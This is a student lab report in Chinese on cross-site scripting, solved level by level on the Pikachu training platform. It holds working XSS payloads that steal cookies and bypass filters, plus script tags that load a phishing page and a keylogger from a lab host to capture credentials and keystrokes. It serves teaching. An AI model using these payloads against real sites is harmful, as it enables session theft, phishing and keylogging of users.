web安全
实验报告
实验二 |
XSS |
学生姓名 |
高润泽 |
年级 |
2017级 |
区队 |
网络安全实验班 |
指导教师 |
高见老师
|
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
- 反射型xss(get)
题目确定为get传参
尝试将参数替换成js代码<script>alert(document.cookie)</script>
弹窗成功。可以发现这里没有设置过滤,直接获得cookie
2.反射型xss(post)
使用admin用户登陆后发现输入框,再次输入rose,发现url无变化,为post传参
直接在输入框里输入js代码:
直接拿到cookie,此处仍然没有设置过滤。后台即可设置并获得cookie。
3.存储型xss
依旧以js代码<script>alert(document.cookie)</script>测试
成功弹窗且在留言板下方出现删除按钮
确定其为存储型xss
接下来就可以构造payload进行钓鱼
Payload:
<script src="http://test.com:8081/pikachu-master/pkxss/xfish/fish.php"></srcipt>
接着修改fish.php设置好路径、
在输入框内输入payload后效果如下:
输入用户名rose,密码123456后即可在后台看到结果。
接着还可以尝试获取键盘记录:
pikachu平台有一个构造好的js文件和php文件,引用该script脚本会记录键盘记录,但要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。
接着修改js文件中如下代码:
构造payload:
<script src="http://test.com:8081/pikachu-master/pkxss/rkeypress/rk.js"></srcipt>
查看网页发现rk.js确实已经在运行
接着在留言板出键入:
I am rose
后台即收到记录
4.dom型XSS
按F12审查网站,寻找click me对应的函数:
在框里输入rose
发现网页源码中出现一条标签:
根据网页中源码的提示:
尝试构造payload:
'><img src="#" onclick="alert(document.cookie)">
输入后,点击图片即可弹出cookie
5.dom型xss-x
同5按F12审查网站,寻找对应的函数:
查看domxss函数:
依旧按照提示构造payload:
'><img src="#" onclick="alert(document.cookie)">
成功获得cookie
6.xss盲打
随便输入内容测试:
登陆进入后台查看:
按F12审查元素
发现此xss不用闭合,直接插入payload:
<script>alert(document.cookie)</script>
结果直接弹出cookie:
7.xss之过滤
首先进行常规测试:
输入payload:<script>alert(document.cookie)</script>
发现返回了'>',猜测是<script被过滤,故选择更换payload:
<a herf=1 onclick="alert(document.cookie)">
结果成功弹出cookie
8.xss之htmlspecialchars
关于htmlspecialchars()函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
- & 成为 &
- " 成为 "
- ' 成为 '
- < 成为 <
- > 成为 >
可用引号类型
- ENT_COMPAT:默认,仅编码双引号
- ENT_QUOTES:编码双引号和单引号
- ENT_NOQUOTES:不编码任何引号
尝试输入以下内容:
"><?#'6666
发现单引号'仍热可以使用,于是构造payload:
' onclick='alert(document.cookie)'
结果成功弹出cookie
9.xss之href输出
利用8中构造的payload: ' onclick='alert(document.cookie)' 进行尝试:
发现连'都被过滤:
随即决定换一种方式,构造如下payload:
Javascript:alert(document.cookie)
结果成功弹出cookie
10.xss之js输出
输入rose测试审查元素:
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码
于是构造如下payload:'</script><script>alert(document.cookie)</script>
结果成功弹窗: